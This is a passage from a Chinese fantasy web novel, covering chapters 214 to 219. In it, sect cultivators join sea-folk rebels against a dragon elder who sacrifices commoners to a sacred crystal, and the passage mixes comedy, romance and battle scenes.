“…什么?”还没等谢璟反应过来,秦兰时脑袋一歪就从他的肩膀上滑落而下,谢璟下意识地接住,而他摸到了一手冰凉,秦兰时的体温更低了。 …… … “快,医师!哪里有医师!!” “这里有病人!!” “快点!快来人!!” 唐山玉站在这里,看着任行舟和反叛军首领所说的营救任务进来的人们,从之前开始他就在沉默了,因为他能够理解他们的行为。 哪里有压迫就会有反抗。 这是合理的…… 因为人们在失去所珍视的东西时,那心里头无法压抑的怒火最终会驱使着自己走上复仇的道路,因为没有什么可失去的了,所以也就更为义无反顾。 那是怎么样的滋味啊? 慌乱?愤怒?悲伤?恐惧? 不,都不是…… 你会发现你的脑子,在看到那一刻发生的时候什么也没想。 唐山玉站在了谢璟面前,安静地看着他背上的秦兰时,他就这样看着,一句话都说不出来。 是的,此时此刻, 他也什么也没想。 第215章 诡异至极 辛苦你了。 这是谢璟在看到唐山玉后听到的第一句话,这一句话仿佛是对他说的,可唐山玉的目光却始终落在他背上的秦兰时身上。 “看起来伤得很重,医师在那边,你快把人带过去。”唐山玉看了一眼秦兰时,什么也没说,而是给谢璟让开了位置,好让人进去。 谢璟本能地察觉到什么,他没来由的心慌,只见他张了张嘴,却被过来接应的其他人带去了医师那边,过去的时候,谢璟转过头来,他看到……唐山玉朝着任海那俩人走去。 …任海为什么会在这里? 还没等谢璟细想,担忧的胡长乐挡住了他的视线,原来胡长乐也在这里,而她正担忧地跟了过来。 “你们没事吧?”胡长乐跟在他们后边,一起进了房间里,这下子谢璟彻底看不到唐山玉了。 “没有,有事的应该是秦师叔。”谢璟那么说着,他只能跟着这些人往前走,幸好有个认识的胡长乐在旁边,这让他的精神还不太算紧绷。 “…秦哥他脸上的那些是什么?”胡长乐低头看去,她面露担忧,因为秦兰的脸上出现了类似于黑色裂痕的东西。 “…不知道。”谢璟还在想关于唐山玉方才的态度,不过他也真的不知道秦兰时身上的到底是什么,而这种事情还是得让专业人士去处理。 “……唉。”胡长乐叹了口气,她跟在俩人的身后,“我就跟着你们吧,唐哥那边,估计有事情要谈……你要是想知道事后问他吧。” “……所以你们为什么会在这里?” “…这是个意外。”胡长乐顿了顿,随后有些心虚地揪了揪衣裙,“我也没想到会这样啊,我只是跟着唐哥过来的而已……” “…这样啊。”谢璟背着人继续往前走,他们被安排到了一个单人间,而里头的医师也迎接上来,他一看到秦兰时的情况后,立马发出鸡叫。 谢璟:? “对不起,我是海鸡。”海族里的阿鸡医师清了清嗓子,然后命令道:“你,把他衣服脱了。” 谢璟刚将人放下来呢,听到这话他浑身一震,而胡长乐听到这话立马跑到了门口那里并且贴心地关上门。 “愣着干嘛,脱啊。”海族阿鸡医师对谢璟的犹豫很是不解,都是大男人有什么不能看的。 不是不能看,但是兄弟之夫不可…… “快点,老夫要看看这些东西蔓延到什么程度!!”海族阿鸡医师着急地拿起他的小包包,他已经找出了几根银针了。 谢璟沉默了一下就立马上手了,不过他给秦兰时留了一条裤子,现在唐山玉状态看上去不是很好,谢璟不是很敢惹。 虽然他也不知道这个行为是不是在惹对方生气就是了。 在他认知里,这种情况应该要避嫌才是。 “留条裤子做甚?”海族阿鸡医师皱了皱眉,他毫不犹豫直接上手一扒,眼神坚定得仿佛要加入光荣组织一样,“这样会有漏掉的。” 谢璟:…… 山玉,你不会……怪我的吧? 山玉不知道,不过就算知道了他也只是淡淡一笑,毕竟危机时刻还计较这个实在是太神经了。 总之,经过了海族阿鸡医师的仔细检查 他得出了一个结论,那就是这些裂痕是那个水晶吸收灵力留下来的灵力裂痕。 “这些东西留在他身上会产生巨大的伤害,只要他一动用灵力,这些裂痕的地方就会开始痛,好了,你快给他穿上裤子。” 谢璟听到前面的时候神情还无比严肃,听到后边的时候他沉默了一下,随后他转头拿起了裤子就往秦兰时腿上套。 他的眼里尽是对现实屈服的麻木,正好套上腰部的时候,突然,他感觉到了一抹强烈的视线落在了他的身上,谢璟缓缓抬头,他发现秦兰时不知道什么时候睁开眼了。 “嘿呀,醒那么快,不愧是化神修士,扎几针就醒了。”海族阿鸡医师还在旁边称赞秦兰时的高超意志力,而谢璟抓住裤子的手正微微颤抖着。 秦兰时看了看抓住自己裤子的手,又看了看自己光溜溜的上半身,那些裂痕清晰地留在了上面,当然,这些目前都不是重点。 “…秦师叔,你听我解释,不是我……”谢璟的声音有些无力,他不知道这个裤子他该不该松手,松吧,好像显得他心虚那样,不松吧,就那么抓着好像也不是很好。 说那时,那时快,房间门被人从外边打开了,只见来者是唐山玉,而胡长乐则不敢进来,正躲在任行舟的背后。 “医师,情况怎么……”唐山玉一进来就那么问了,但是显而易见的,他的声音因为此情此景卡壳了一下,他看到了谢璟抓住秦兰时裤子的一幕。 秦兰时和谢璟听到声音就扭头看了过来,但是他们俩此时此刻的诡异姿势并没有发生改变。 “……” “我好像走错门了。”唐山玉很是平静地笑了一下,然后他推着其他人一起走出房间门,大门再度被关上,徒留无助的谢璟和不知道什么情况的秦兰时待在了一块。 下一刻,门又再度打开,唐山玉像是以为只要门重新被打开,里面的场景就会发生变化。 然而,这里什么变化都没有。 “……你们要不换个姿势?”唐山玉觉得自己说出这句话时候的语气应该是非常无奈的,“我有点不想看。” 这个场景太诡异了,这让他的脑子在飞速旋转,最后一脑袋撞到墙壁上。 谢璟果断松手了,他不仅仅松手还拿出秦兰时的衣服慌慌张张地往秦兰时的脑袋上盖,随后他往后退去,直直地贴在了墙壁上。 “…咳咳,没必要,我能够理解的,师父这是醒了?”唐山玉见谢璟这样倒是难免起了一丝同情,他不再选择逗人了,而是转身往秦兰时那边走去,他在秦兰时的床边坐下,将那些丢上去的衣服给扒下来。 “这些痕迹怎么说?”唐山玉看了一眼秦兰时身上的那些东西后,就转头看向了这些的医师,“能治吗?” 医师把他的发现说了一遍,但问到能不能治的时候,他顿了顿,也很是不确定,“我接触过的患者里也有不少是这种状况的,但是我只能做到缓解,具体的根治我并不清楚。” “他是我们这里最好的医师了。”反叛军首领也站在门口出声了,不过他也因此打开了话题想,“但是我认为只要破坏掉它的本源,应该就不会有事。” “是的,这些灵力裂痕是出现在那些接触过晶体,但是在吸收灵力的时候救出来的人身上的,像是一种腐蚀。”海族阿鸡医师对此点了点头。 “那么这些人最后都怎么样了?”唐山玉一把握住秦兰时的手,秦兰时的体温很低,要不是他看到人还在呼吸,他都要怀疑这已经是一具尸体了。 “……死了。”反叛军首领微微偏过头去,”因为这些灵力裂痕会逐渐往全身蔓延,当然使用灵力的时候就蔓延越快,总之等浑身上下都有的时候,那么他的身体再也支撑不住了。” “类似于灵力枯竭病吗?”唐山玉这样问着。 “是有点的。”反叛军首领点了点头,他就这样看着他们,“所以?也只能这样了,不是吗?” “……希望你不是为了让我同意才这样骗我的。”唐山玉缓缓叹了口气,他感觉到秦兰时轻轻捏了一下自己的手指。 “那你会承担这一切如果是真的后果吗?”反叛军首领耸了耸肩,显然他此时的心情有些不错。 “…废话,好了,我要和我师父谈情说爱了,你们可以出去了。”唐山玉淡淡地瞥了这里的人一眼,毫不客气地下了逐客令。 “行行行,你们先聊,走了,还有不少病人呢。”反叛军首领招呼了一下那个海族阿鸡医师,医师连忙拿起他的木箱子跟上去。 而谢璟果断地往门口跑,但是没跑几步路就撞任行舟那结实无比的胸膛上,然后他回过神来就和躲在任行舟后边的胡长乐面面相觑。 只见任行舟一手一只提起来,用脚给唐山玉和秦兰时贴心地关上了门。 唐山玉在门关上后,就转过头来,抬起手轻轻摸了摸秦兰时那张脸,这张好看的脸上此时此刻被那黑色的裂痕爬了半边脸。 “我好像不好看了?就算这样你也会喜欢的,对吗?”秦兰时蹭了蹭唐山玉的手掌心,像极了讨好的猫儿一样。 “…不喜欢。”唐山玉这个时候就莫名的无情起来了,“我很讨厌……” 很讨厌你变成这样…… “…呜呜呜,好伤心啊。”秦兰时假意擦了一下眼泪,他看上去无比伤心。 “……”唐山玉什么也没说,但是他凑过去,在秦兰时的脸上的黑色裂痕上落下一吻,这个吻,非常轻柔。 “唉……” “好吧,什么样我都喜欢。” 男子低叹着,又是一次无奈妥协。 “不过我现在多了一个计划。” “?什么计划?”秦兰时一愣,这孩子又背着他去做什么了? 就在秦兰时以为唐山玉不会回答的时候,他看到眼前人突然温和一笑: “龙族毁灭计划。” …… 慕轻轻没来由地打了个寒战,此时此刻她正在二姐面前,和二姐聊着天,顺便也在等着伙伴们的信息。 “怎么了?轻轻?” “…没什么,只是突然有点冷。”这大太阳的,哪里来的寒意。 “你的体质也会觉得冷?”慕流月显然有些意外,不过这只是个小插曲,她继续说起方才的事情来,“你是问我关于那个混血龙族的事情吗?嗯,混血龙族还挺稀有的,据我所知易长老的儿子好像就是混血龙族?” “对了,他长得还挺好看哦~” 这就是你记住他的理由吗? 慕轻轻沉默了一下,就很是期待地问道:“真的吗?有多好看?” “嘿嘿,走,我带你看看去!” 第216章 看着办好了 第216章 看着办好了“那只混血自小就没了母亲,因为他的母亲无法接受强大龙族力量,所以在他出生后就死了。”慕流月走在前面,她的衣裙随风扬起。 慕轻轻跟在后头,和慕流月一起穿过阳光散落的长廊,影子躲在俩人的脚下。 “他目前和他的父亲待在一起,平时不是很受自己父亲重视,我也只是偶然看到他而已,因为他长得很像逝去的母亲,所以怪好看的。”周围的侍从对她们恭恭敬敬地行了一礼,就将这两位皇女给放了进去。 慕轻轻不作声,她继续跟着慕流月的步伐,一路上她都是难得的安静。 “他的母亲据说还是美人榜的前几名呢,不过具体我已经不太记得了,不过嘛也不重要。”慕流月熟练地走进会客厅,在那里,一位少年恭恭敬敬地站在那里。 少年看到她们后,就走上前去,行了一礼,他的确好看,不过慕轻轻觉得自己更好看,当然这些话她没有说出来。 “诺,这就是那位易长老的儿子易故秋。”慕流月轻抬了一下手,随后她无比自然地摸上了对方的脸颊,比划给了慕轻轻看,“喜欢吗?喜欢就让他入你的宫里如何?你也老大不小了,也是时候有身边人了……” “咳咳咳,二姐,我不急这个。”慕轻轻摆了摆手,她对于美人目前只有欣赏的姿态,暂时还没有遇到想要带上床的。 而且这个好像在人类那边叫……催婚? “行吧,不着急,反正父王一向宠你,那就先这样吧。”慕流月放下手,随后又问道,“怎么,见到人后有什么想法吗?” “没有,我在人界修行得清心寡欲。”慕轻轻就差学着那些佛子双手合十来个阿弥陀佛了,当然这可能也有她眼光高的情况,毕竟身边的花美男谢璟,盛知许就够看了,石泽竹的面相也是不错,唐山玉并不是她的菜,因为那会让她想起那些笑眯眯恭维她,但是背后捅刀子的家伙。 不是说山玉会捅她,只是那感觉太过相似了,慕轻轻实在是没什么感觉,而且人家最近还有道侣了,秦兰时她又打不过。 “看来你在随清宗那里学了很多啊。”慕流月感慨了一声,挥了挥手就让少年下去了,“小轻轻,你这是要从龙变成了人吗?” “我是龙啊。”慕轻轻耸了耸肩,她看着慕流月,“二姐,我记得当初你是最反对我去随清宗学习的吧?你不喜欢随清宗吗?我看你好像很喜欢那边的长老。” “好看的美人谁不喜欢呢?”慕流月坐下来,开始命令起了易长老这里的侍从给她端些吃食过来,“不过,当初之所以反对,只是我认为你去那里没什么用。” “……是啊,二姐,谁能想到你这肆意自在的模样居然是守成派,完全想不到嘛。”慕轻轻微微偏了一下头,她的声音很轻,“同时,谁能想到大哥那副正经模样居然是求新派。” 而易长老也是守成派,所以慕流月和他熟悉也是正常,难怪父王的那份名单上会有慕流月的名字。 “小妹,那么你呢?你喜欢哪一个?”慕流月说着,捻起一块糕点送入嘴中,“你知道的,我们和父王向来是最宠你的。” “我哪个都不喜欢。”慕轻轻没有继续这个话题,而是换了一个,“算了,二姐你就自己待这里吧,我就先走了。” “你不是想要找混血吗?”慕流月轻笑着看她。 “…现在不找了。”慕轻轻沉默了一下,转头离开,其实早在她看到那个少年的时候,她就认出来这就是当初和海盗有关系的混血龙族。 …但是这太凑巧了,为什么二姐会知道她在找什么?明明她只是提一嘴混血龙族而已。 吓龙,太吓龙了! 慕轻轻果断离开了这里,而慕流月也没有阻拦,只不过,在慕轻轻离开后不久,她就遇到了那位混血少年易故秋,易故秋看到她后就走了过来。 “殿下。”他行了一礼。 “……唉,什么事?先说好,我不……”慕轻轻挥了挥手,让人不要再往前了,她有点头疼。 “…我有些事情想要与您说。”易故秋说话的时候小心翼翼地看了一眼周围。 “…跟我来。”慕轻轻觉得这里不是说话的好地方,于是她拉着人往角落处走去,树下有着阳光的烧灼枝干的味道,这并不好闻。 “说吧,你到底要和我说什么事?”慕轻轻用神识探查一番周边,确认没有在偷听后,她才转头看向了易故秋。 “…我父亲,我父亲他好像在做不好的事情。”易故秋似乎有些胆小,他看上去和慕轻轻之前看到的混血不太一样,要不是慕轻轻有能够确定的方法,她都不敢断定眼前这个胆怯的少年居然会是那个被任海殴打一番都没躺下的家伙。 “哦?易长老他在做什么事?”不过,既然他亲自找上自己,应该另有目的,但是具体是什么目的,慕轻轻还不知道,而她则继续装作不知道和这个少年相处。 “关于龙族的禁地,那个,那个龙啸,出了问题,他想要……”易故秋说话磕磕绊绊的,这稀碎的语句真的能拼凑完一句话吗? “喂,你能不能正常点说话。”慕轻轻看上去有些不耐烦了,她眼睛逐渐变成了金色,那是龙族独有的金色,也是地位。 但是这种金色,混血身上是没有的,易故秋的眼神在接触到这抹金色后就暗淡了一点,他声音也发生了一点变化,没有方才那么唯唯诺诺了,“是,殿下。” “尊贵的殿下,我有事想要汇报于您,关于家父在禁地的所作所为,还有他将海族作为祭品献给我族圣物一事。” “哦?你那么揭发你的父亲,你就不怕我和父王将你也一同怪罪吗?”慕轻轻笑了笑,她凑过来细看着易故秋的眼睛,“父子总是容易同罪的,我们很难保证你没有牵扯进来。” “我实在是看不过去所以才想要揭发此事,殿下若是想要,我可在庭上述说我父亲的罪证。”易故秋微微低头,碎发轻轻掩盖住他此时的神情。 “……”倒是她像极了恶人,慕轻轻呵呵一笑没有多说什么,“你又如何不保证,在你说完这些罪证后,会被我们放逐于渊海?” 渊海是海族被放逐之地,那里常年气候不稳定,狂风暴雨,深海里有着骇人的巨兽,同时也是一个被太阳拒绝的海域。 这对于渴望太阳的海族而言,已经是重罚,而对于龙族而言,被剥夺的权利与身份比死亡还要严重。 “…到时候殿下您看着办就好。”他说完这句话,就直勾勾地看着慕轻轻,“您看着办就好了。” …… “总之,你有见到其他人吗?”慕轻轻和石泽竹坐在饭桌上,石泽竹在吃大白馒头,毕竟海族不只有卖海族的饭菜,偶尔也会卖点人类的,只不过会相对贵一点。 当然慕轻轻有钱,她一边看着石泽竹吃大白馒头,一边幽幽地叹了口气,“我总觉得他是自愿把这个把柄交到我的手上,就是为了让我去找父王,但是我想不清楚他这样做有什么好处。” “当初那个混血龙族就是他吗?”石泽竹吃完馒头后,就伸手对烤鱼下手了,他拿起烤鱼咬了一口,酥脆的表皮一撕即破,甜嫩的汁水里面流了出来。 “嗯,我很确定,他作为混血或许不知道,但是我们纯血可以感觉到龙血里的其他血脉,所以一个照面我就知道了,再说了,他母亲那个种族还挺稀有的。” “那轻轻,我们接下来做什么?”石泽竹拿出帕子擦了擦手上的油渍。 “…其他人那里有信息吗?”慕轻轻还是很关注其他人的情况的。 “还没有。”石泽竹摇了摇头。 “……那你把这个带出来干什么?”慕轻轻说着,抬起手指了指石泽竹旁边坐着的…顾延清傀儡,而顾延清傀儡正安静地处于休眠状态,他闭着眼,像睡着了一样。 “这个啊……是顾师伯让我带出来的,我也不知道,不过我听顾师伯的话。” “…这样啊,那你启动了吗?” “还没有,毕竟是顾师伯的傀儡,我要是启动的话,它会吸光我全部灵力的。” …… “我决定了,我要去找我父王,泽竹你跟着我一起去吧。” “好的轻轻。” 第217章 后有来者 “我的宝贝女儿怎么来啦~”老龙王在看到慕轻轻的时候就开心地跑出来张开双臂,他此时此刻就像个爱女儿的好父亲一样。 “想父王就来看看。”慕轻轻没有躲,就这样被老龙王给抱住了,只见她的手很是熟练地扯了扯老龙王的胡子。 石泽竹就这样目睹了这一幕,而顾延清傀儡就这样安静地立在他的身后。 “嗯?顾尊者?”老龙王眼尖地瞅到了那个顾延清傀儡,他喊了一声才发现那只是个傀儡,不是本尊,“还挺逼真,人类的手艺还是那么好。” “是幻化效果啦。”慕轻轻又拉了拉老龙王的胡子,“父王,我是有事情想要和你说的。” “怎么了,轻轻,是缺了什么吗?不应该啊……”老龙王认真想了想,他应该把该给的都给了才是。 “…不是。”慕轻轻摇了摇头,随后和老龙王说了方才易故秋所说的话,老龙王的神情也因此发生了变化,他眉头皱了皱应该是在思考。 “这样啊,那个孩子和你这样说了啊。”老龙王扯了扯胡子,半眯着眼,随后他拉着慕轻轻坐了下来,“那么轻轻你又是怎么样想的?” “…太突然了。”慕轻轻微微低下头,她招呼了一下石泽竹过来这边也坐下,“我知道你们之间的情况很复杂,你知道的我不喜这些,也不怎么回来过,所以我暂时判断不出来什么。” “是啊,确实复杂,你父王我啊活了那么久,也算是个老东西了。”老龙王说着,轻轻拍了拍慕轻轻的肩膀,“但是不管怎么样,你想要做什么就去做吧。” “父王,我做什么都可以?”慕轻轻闻言愣了一下,随后她小声询问着,“就算我闯祸了也可以吗?” “当然,你是我的女儿。”老龙王微微一笑,无比慈祥地按住慕轻轻的脑袋,大爪子就那么在慕轻轻的脑袋上摸啊摸,“尽管去做吧。” “……我还是不知道我如今做得好不好?”慕轻轻感受到老龙王的关爱后,她没有感动,而是有些许担心,“我真的已经足够好了吗?” “这个嘛……就算我说好,你也是不信的对吧?唉,孩子,你就尽管去做吧。”老龙王摇了摇头,看了一眼坐在那边安安静静的石泽竹,“你看,你这不是交到朋友了嘛。” “……是啊。”慕轻轻没有再多说什么,她转头看向石泽竹,“行吧,泽竹,我们先走。” “…啊?嗯?”石泽竹小心翼翼看了老龙王一眼,一副不再多说点什么吗的模样。 “不用,父王既然那么大方地答应了,那我不去闯上一闯,岂不是白费父王这等苦心?”慕轻轻说着就伸手把石泽竹给拽走了。 “轻轻,注意着点安全,有什么事情和龙卫们说啊。”老龙王依旧慈祥无比,他笑呵呵地看着活力四射的慕轻轻。 “知道了——” 慕轻轻头也不回地走了,正如那天,她离开龙族前往随清宗那样,那个时候天空和现在这般温和,就连光也是龙族最喜欢的金色。 “父王,为什么?轻轻这样就很好啊。”慕流月显然不是很理解老龙王的行为,“就因为她吗?” “她也是你的母后。” “……又不是同一个娘。”慕流月小声地说了那么一句,她这种抱怨已经是常态了,不过老龙王并没有说什么。 “此事是轻轻自己提出来的。”站在一旁的慕云辰淡淡开口道,“龙想要飞天不是很好吗?” “她哪是飞天,分明是去接受人类的驯化吧,把她身上的龙性给驯化没了,这就是你们想要的吗?你们倒是宠她和那个母后。”慕流月显然很不满意,不过大家都已经决定好了,所以她也只能在这种时候抱怨几句了。 “人类身上有不少值得我们去学习的,就好比那个随清宗,谁能想到当初的小宗门在人界有这般地位呢?”老龙王不紧不慢地说着,他看着慕轻轻离开的背影,莫名的,他想起了那天,那个女人也是这样背对着他。 风将遥远的海洋卷了过来,女人在轻轻歌唱,她已油灯枯尽,她已进入末路,就算这样,她也没有转头看向他。 没有被原谅吗? 或许吧。 毕竟身为龙族却痛恨龙族的,也就只有她了吧。 “你觉得你的女儿会做出你想要的选择吗?”老龙王坐在位置上,看着慕轻轻逐渐离去,他偏过头去,一个女人的虚影在他眼里逐渐浮现,她仿佛从未离去,但是也同样安静。 女人的目光应是温柔的。 “……你曾说过,大海应是宽容的。” “就连阳光也应是一样,没有高贵贫贱之分。” …… “我虽不能认同……但……” 慕轻轻打开了一个房门,石泽竹跟在其后,而门后是和家臣在开会的慕云辰,他看了过来,和他一样的一双双眼睛也看了过来,他们的目光里或有好奇,或有审视。 “正好,都不用我一个个去找了。”慕轻轻看了一眼周围,有陌生,有眼熟的,不过这不影响她发挥,她走上前去,站在了慕云辰面前。 “我有一问,不知在座诸位可能为我解答?”其声铿锵有力,像狂风暴雨时的第一声惊雷,“不知诸位可知易长老以平民百姓用作献祭以来维持我族圣物一事?” 此问落下,众人皆静。 “那么诸位可有想过怎么处理此事,我族圣物应是神明给我们龙族的恩赐,不应沾染此等劣物,有违神明对我们给予的期厚。” “殿下此话怎讲?”有人出声提问。 慕轻轻瞥了他一眼,继续出声说着:“不知各位翻阅我们龙族的传说与历史中是否发现一件事?那就是神明并不是因为我们是第一个接触阳光才将赐予给我们的。” “而是因为我们是第一个带领海族走出黑暗,接触光明的种群。” 屋内,老龙王半眯着眼,任由阳光散落肩头,他轻声笑道:“吾已老也。” …… “山玉,你不会认真的吧?”秦兰时听到这个龙族毁灭计划一出,脑子空白了一下,这孩子原来有黑化反派的潜质吗?他怎么不知道? “开玩笑哒。”唐山玉笑着回了一句他耸了耸肩就叹了口气,“我哪有那么厉害?毕竟那可是龙族嘛,种族毁灭计划可不人道哇,以和为贵以和为贵啦。” “……”可是刚刚唐山玉的表情真的很认真,认真到秦兰时怀疑人真的有可能想过那种。 “没关系,这是正常的。”许是知道秦兰时在担心什么,唐山玉十分贴心地拍了拍秦兰时的后背顺一下,“我之前上班的时候就想过这个世界的人口为什么不能突然少一半呢。” “…真是危险的想法呢。”秦兰时点了点头,沉默着,又点了点头,“都行,都行。” “比起这个,我家亲爱的为什么会在那里呢?甚至还差点被献祭了,真是让我心疼无比啊,瞧瞧这些东西……”唐山玉说着,又上手摸了摸秦兰时的脸。 “山玉你正常点说话好不好?”秦兰时觉得自己现在的表情一定非常惊恐,因为他在真心实意地害怕了。 “亲爱的,你想我说什么?我在心疼你呀。”唐山玉凑过去,用手指刮了刮对方的下巴,“好啦,睡吧,等醒过来应该就解决了。” “你要干嘛去?”秦兰时觉得自己也不是不能继续干活,再说了他是这次的带队长老,怎么就先躺了,这不对吧? “唉,你知道的,人生漫长总是无趣的,我需要去当个反叛军爽爽。”唐山玉倒也没掩饰什么,不过他微微侧了一下头,目光幽幽地看着秦兰时,“你就躺着吧。” “…我觉得我还是可以继续的,这些裂痕只要不过多使用灵力就可以……”秦兰时说着,似乎是知道唐山玉不会答应,就可怜巴巴地说起了往事,“曾几何时,我也躺在病床上,被阿爸阿妈阻止了冒险。” “…爸妈做得很对,你要听爸妈的话,所以你还是躺着吧。”唐山玉颇为无情地阻止他的这个行为,“但是等我毁掉了那个东西,估计就好很多了。” “所以到时候我就能动了吗?”秦兰时拿起小被子往自己身上盖了盖,一副期待又不敢说的模样。 “要听医师的话。”唐山玉淡淡一笑,没有多说一句废话。 “……” “是啊是啊,秦哥你还是躺着吧。”不知道什么时候出现在门口的胡长乐探了个脑袋进来了。 “是的,秦师叔还是躺着吧。”一刻也没有为胡长乐的到来而惊讶,紧接着而来的是谢璟脑袋。 “哇,你们终于谈完了吗?”任行舟也跟着风,将脑袋凑在了俩人上面。 “……你们玩叠叠乐吗?”唐山玉缓缓叹了口气,随后笑道。 “嘿嘿,这种气氛玩一下抽象会放松不少。”这句话是胡长乐说的。 “确实。”这是唐山玉。 第218章 叛乱启动 “你们聊完了?怎么样?”任行舟和唐山玉坐在一块,谢璟和胡长乐则在反叛军首领那里。 “不怎么样。”唐山玉耸了耸肩便抬头看了一眼任行舟,“怎么?有话要和我说?不然怎么支开了他们俩?” “我算是发现了一件事。”任行舟笑了一下,随后取了一壶酒放置桌面上,酒壶看上去有点旧了,“他们性格各异,但好像都更愿意听你的话,不仅是谢璟,还有秦道友。” “哈哈,真的吗?”唐山玉没有想要在这个话题上继续下去,所以他只是笑了几声后就转变了话题,“比起这个,你似乎并不算是正规的反叛军,你是在中途加入进来而已,你的目的应该是和他们一样的对吧?” “当然,我和龙族有仇。”任行舟说起这个自然就收了几分笑意,他的眼神仿佛陷入了某种回忆,“相信你大概也猜到了……我的妻女就是因为这场糟透了的献祭失去了生命。” “我作为一个丈夫,一名父亲,不能保护她们,我无时无刻不在懊悔,那一天如果我能更强大一点,是不是就会有所不同。”任行舟说着,低下头,他似乎很是沮丧。 “……”关于这个故事,唐山玉选择沉默,他安静地看着眼前这个低下头的男人。 “…来到这里的人大部分都失去了什么,就拿那位首领来说。”任行舟抬头看了一眼在那边和谢璟胡长乐俩人闲谈的反叛军首领,“他失去了自己的母亲,据说他曾经和母亲相依为命,但是几百年前那场献祭就剥夺了他母亲的性命。” “正因为一无所有,所以他选择了义无反顾地拔刀,这些人都是他聚集起来的,非常厉害,而我只是给了一点帮助而已。” “……嗯。”唐山玉点了点头,对于这些事他给了一些回应,但是不多,他并不是这些故事的主角,他只是偶然加入进来罢了。 “…我说那么多,只是想说,不要同情他们,他们现在所需要的不是这种虚无的同情,而是一次切实的帮助,帮助他们对着那高墙后的龙族宣战。” “…什么时候开始?” “三天后吧?麻烦你去弄几个传送阵法在龙宫里了。” “我知道了。”唐山玉顿了顿又问道,“为什么是三天后,那天有什么特别的吗?” “…这个啊。”任行舟对此笑了笑。 …… 那天,雷声轰隆,今日乌云密布,沉闷的天空让人有些喘不过气来,高高筑起的城墙将岛屿一分为三。 一场戏剧正于那巨大贝壳里头上演,今日他们演的不是龙族的神话,也不是龙族英雄的故事,听说这次是新剧本。 第一幕,只闻那声嘹亮的歌喉于此间响起,那是一位美丽的女鲛人,她唱着一曲平凡乐调,像极了百姓们在市井里过着平凡又幸福的生活。 而那嗓音一转高势,就像那被撕毁的平凡,里头的音色似有似无,反倒是像极了一声怒吼。 与此同时,最下层的人群里头似乎有所涌动,最先走出来的是几位黑斗篷的青年,他们站在守卫面前将身上斗篷一掀,高呼着:“神明对龙族的恩泽早已离去,祂早已抛弃现在的龙,此龙非龙,龙将我等性命践踏入泥,我等不服,将代天屠龙。” 守卫们似有准备地一言不发对他们举起了尖刺,看来这场叛乱彼此都心照不宣,而反叛军自然也亮出他们的武器,那一双双眼睛怒目圆睁,仇恨的烈火于心间燃烧,早就等待着这一天的到来。 刹那间,刀剑交错在一起,一场来自底层的怒吼终于突破天际,来到了高处的龙宫里,在那里,慕轻轻站在城墙边看着,遥远的大海,还有火光刺目地映入她的眼里。 “我们也该出发了,走吧,为了平息这场叛乱,我们去将那罪龙抓来押至万民前。” 回答她的,是身后的一众影龙卫静默,而石泽竹不知去做了什么,但是天早已动乱,谁能置身事外?或许都不能。 第二幕,鲛人开始哼起了轻轻的小调,像极了一场温柔的梦,让人听着仿佛沉眠于虚幻的气泡里,美好又虚假,而周围也渐渐生起五彩的气泡。 但接下来,她的嗓音又再度变化着,只闻那歌声时缓时急,声音也越发地沉着,像是在压抑什么,最后平地一声炸起,四周气泡轰然爆炸开来。 “易非吟,你已触犯我族条律,私自对圣物动下手脚,当日陛下将圣物托付于你,是希望你能够守护好信物,而不是让你满足于自己的私心肆意乱来,你辜负了陛下和神明的信任。” 慕轻轻一脚踹开了禁地大门,跟随着她的影卫四散开来排成一排,对着站在中间的那个罪龙举起了武器。 “…殿下这是何意?我不过是为了我们龙族着想,你忍心看着我们龙族落得跟个贱民一样的下场吗?”易非吟不解,他看着慕轻轻闯进来的时候眉头也不皱一下。 “这也不是你私自动用圣物和献祭其他海族的理由。”慕轻轻说着已经取出她那条鞭子,眼里带着寒光,四周空气冷得似要冻结。 “……你和你的母亲一个样,不应该啊,你们明明流着龙族的血,却要去考虑那些下等海族的性命,这是为什么?”易非吟真的很不解,他因为不解所以一时之间没有任何动作,“我们龙族向来高于其他海族,没有其他海族能够凌驾于我们之上,这不仅仅是神明的恩赐,也是我们应得的。” “我们和那些躲在深海里的胆小家伙不一样,当初是我们先触碰太阳,也是我们先带领其他海族接触阳光,他们应当感谢我们的仁慈。” “……说不通,还是直接干吧。”慕轻轻对于说服一个早已根深蒂固的龙族没有兴趣,该干的时候就干,不要犹豫,“影龙卫听令,捉拿罪龙易非吟。” “你以为我不会有所准备?”易非吟冷笑了一声,当即打了个响指,非常酷地也召唤出一群侍卫和影龙卫打在了一块。 “殿下啊殿下,你莫不是特意挑今日过来的。”易非吟显然有些不满,他要实施的计划就是今天,“算了,也差不多。” “什么?我听不懂你在说什么!你个老不死的还是快认输吧!”慕轻轻刚拿出鞭子抽开一个侍卫就转头看向了易非吟,“你又干什么了?!” “一切都是为了龙族。”易非吟那么说着,往那个圣物走去,他微微张开双臂,像在拥抱什么。 “今日,便是一场盛大的宴会,我会将他们都献给您。”易非吟看着那纯洁的水晶,无比虔诚,“就在今日了。” …… “我记得你是……轻轻的朋友?”慕云辰皱了皱眉看着站在他面前的谢璟,他是因为听到那反叛军突然冲到龙宫里来了,所以特地过来驱逐,随后他就看到了一个眼熟的身影。 “嗯,是我。”谢璟站在反叛军里头,冲慕云辰点了点头,“借过,我们要去大殿。” 说着,他就带着反叛军就要拐个弯,当然,被慕云辰派兵拦住了,“你们不能过去,虽然不知道你为什么会和他们在一起,并且还闯进了龙宫里来。” “但,你们是想被我请去大牢,还是想被我押去大牢呢?” “我哪个都不选。”谢璟说着,转过身来,而他的剑早已出鞘。 …… “咦?小妹妹,你过来这里做什么?哇,而且还带了一堆客人呢?你们在下边闹也就罢了,怎么还闹到了这大门口了。”出来镇压叛军的慕流月看着已经来到了上层门口的胡长乐和叛军等人,她笑了。 “…呃,姐姐好,我们就进去一下就好了。”胡长乐拘谨地抓了抓手上的伞,与此同时,她的旁边站着反叛军首领,那位反叛军首领当机立断地拿出了刀指向了慕流月。 “…这,这么快吗?”胡长乐立马震惊地看着反叛军首领,心里头是有点慌乱的,那么快就打起来吗?这,这不说点台词延长一下时间吗?水一下字数也可以啊。 水水更有益身心健康,也能来点剧情代入感啊。 但是双方不听,双方开始了交战。 真是极为火热的一天呢。 第219章 崩塌啦 我叫路仁,是一位反叛军,我加入反叛军和其他人不一样,我没有失去亲人,也没有失去朋友和爱人,因为我在加入进来的时候就是一个人的。 因为我什么都没有,所以也谈不上失去,这算不算上是幸运呢?或许吧,再说了我来这里也是听说这里管饭。 不过这次我被派来一个任务,那就是看管这个房间里的人,我一开始还以为是什么犯人,但是在我过去后发现那是一个病人。 